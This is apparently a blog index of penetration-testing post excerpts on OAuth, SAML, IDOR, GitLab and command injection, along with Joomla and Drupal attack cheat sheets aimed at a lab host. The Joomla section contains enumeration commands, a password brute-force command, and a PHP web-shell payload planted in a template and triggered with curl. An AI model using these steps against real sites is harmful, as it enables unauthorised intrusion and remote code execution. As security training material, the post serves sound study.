Posts on: Web

---

OAuth is a standard designed to enable secure authorization between services and applications. It is widely used in Single Sign-On (SSO) scenarios, where a user can authenticate once and access multiple applications without sharing their credentials with each service. 2025–2026 context: OAuth 2.0/2.1 is now the backbone of almost every authentication system, and the vulnerability classes have moved out of the redirect_uri parameter and into the libraries that implement the flows. The current CVE feed is dominated by state-parameter persistence failures (Authlib, fastapi-sso), PKCE downgrade bypasses (Cloudflare workers-oauth-provider), OAuth email-linking account takeover (Pingvin Share, AshAuthentication), unauthenticated callback fallback (Feathers, CVSS 9.8), and dynamic client registration that accepts arbitrary redirect URIs.

Introduction SAP system consists of a number of fully integrated modules, which covers virtually every aspect of business management. The product is marketed as a service-oriented architecture for enterprise application integration. It can be used for custom development and integration with other applications and systems, and is built primarily using the ABAP programming language, but also uses C, C++, and Java. It can also be extended with, and interoperate with, technologies such as Microsoft .NET, Java EE, and IBM WebSphere.

Introduction CMS used for discussion forums, photo galleries, e-Commerce, user-based communities, and more. Written in PHP and uses MySQL in the backend. Joomla Discovery/Footprinting Command Description droopescan scan joomla --url http://dev.inlanefreight.local Enumeration via droopescan python2.7 joomlascan.py -u http://dev.inlanefreight.local Enumeration via joomlascan.py curl -s http://dev.inlanefreight.local/ | grep Joomla Check Webpage Source curl -s http://dev.inlanefreight.local/administrator/manifests/files/joomla.xml | xmllint --format - Some Joomla versions may be fingerprinted from this file Browse to http://dev.inlanefreight.local/plugins/system/cache/cache.xml The cache.xml file can give out an approximate version of Joomla Browse to http://dev.inlanefreight.local/media/system/js/ Some versions of Joomla can be fingerprinted by analyzing the javascript files in this folder Browse to http://blog.inlanefreight.local/robots.txt Check for references to Joomla Browse to http://dev.inlanefreight.local/README.txt Check the README file to look for references to Joomla Joomla Users and Login Bruteforcing Administrator account: The default administrator account is admin, but the password is set at install time You can perform login broteforce by using the following: https://github.com/ajnik/joomla-bruteforce PoC: sudo python3 joomla-brute.py -u http://dev.inlanefreight.local -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin Joomla Known Vulnerabilities PHP TEMPLATE CODE INJECTION TO RCE [Requires Admin Account] The basic idea is to add PHP code inside a template Login as Admin → Navigate to Configuration → Select a Template → Select an existing PHP file → add the following payload: system($_GET['cmd']); curl -s http://dev.inlanefreight.local/templates/protostar/error.php?cmd=id Joomla 3.9.4 directory traversal CVE-2019-10945 Exploit 1: https://www.exploit-db.com/exploits/46710 Exploit 2: https://github.com/dpgg101/CVE-2019-10945

Security Assertion Markup Language (SAML) is an XML-based standard for authentication and authorization between parties, widely used to implement Single Sign-On (SSO). Data is exchanged in digitally signed XML documents, and the security of the entire federation rests on one assumption: the element the Service Provider cryptographically verifies is the same element its application code reads the username from. 2025–2026 context: SAML is built on XML, and XML’s parser complexity has produced a persistent stream of critical authentication-bypass CVEs across every major language ecosystem. The 2025 PortSwigger “Fragile Lock” research introduced attribute pollution, namespace confusion, and Void Canonicalization as new XSW classes. The current CVE feed is dominated by signature wrapping in libraries (authentik, Net::SAML2, ruby-saml, Nokogiri), replay and missing Conditions validation (Casdoor, Logto, Snipe-IT, Keycloak), and XML comment injection (authentik).

Introduction Drupal is Written in PHP, supports MySQL or PostgreSQL for the backend. SQLite can be used if there’s no DBMS installed. Drupal indexes its content using nodes. A node can hold anything such as a blog post, poll, article, etc. The page URIs are usually of the form /node/<nodeid> Drupal Discovery/Footprinting Command Description curl -s http://drupal.inlanefreight.local | grep Drupal Check webpage source for the Drupal generator droopescan scan drupal -u http://drupal.inlanefreight.local Automated Drupal enumeration curl -s http://drupal.inlanefreight.local/CHANGELOG.txt Version check; on Drupal 8/9 use /core/CHANGELOG.txt Browse to http://drupal.inlanefreight.local/README.txt Check for instances of Drupal Browse to http://drupal.inlanefreight.local/robots.txt Check for instances of Drupal or its nodes Attacking Drupal versions prior to version 8 [PHP Filter Module] In Drupal versions prior to 8, it’s possible to login as an admin to enable the PHP Filter Module The PHP Filter Module basically allows PHP code to always be executed Follow these steps:

IDOR (CWE-639) occurs when an application exposes an internal object reference — a database key, filename, UUID, or account identifier — and fails to verify that the requesting user is authorised to access that specific object. It is not a missing authentication problem; it is a missing authorisation problem. The user is authenticated, the request is legitimate, and the server simply trusts the identifier the client supplied. IDOR is the most common and impactful API vulnerability. OWASP ranks Broken Access Control (A01) as the #1 web application risk in 2025, and Broken Object Level Authorization (BOLA / API1) as the #1 API risk. Roughly 33% of APIs have IDOR, with typical bug-bounty payouts of $500–$10k.

GitLab is an open-source end-to-end DevOps platform with built-in version control, issue tracking, code review, CI/CD, and more. For an attacker, it is a high-value target because it holds source code, CI/CD variables, deployment keys, and cloud credentials — a single GitLab compromise frequently pivots into the entire cloud estate. 2025–2026 context: GitLab has produced a steady stream of CVSS 9.0–10.0 vulnerabilities across every layer — the GraphQL engine, the SAML implementation, the Ruby regex compiler, and the CI/CD variable system. The current attack surface is dominated by unauthenticated RCE via Onigmo (CVE-2026-110264, CVSS 10.0), SAML authentication bypass (CVE-2025-25291/25292), GraphQL-based CI/CD variable disclosure (CVE-2025-9825), and personal access token leakage through logs and public repositories (CVE-2025-13611, CVE-2025-1198).

OS command injection occurs when user-controlled input is misinterpreted as part of a system command. It is the highest-impact web vulnerability class after SQLi — a single injection point is often full remote code execution, and the filter-bypass surface is broader than any other injection type because the shell performs its own expansion after the filter has already made its decision. 2025–2026 context: OS command injection is no longer just ; id in a ping parameter. It lives in CLI argument handling (Llama-Index --files), AI/agent tool calling, CI/CD runners, and network appliance diagnostics. The filter-bypass research has shifted toward length-constrained injection and semantic-equivalent mutation that survives WAF inspection.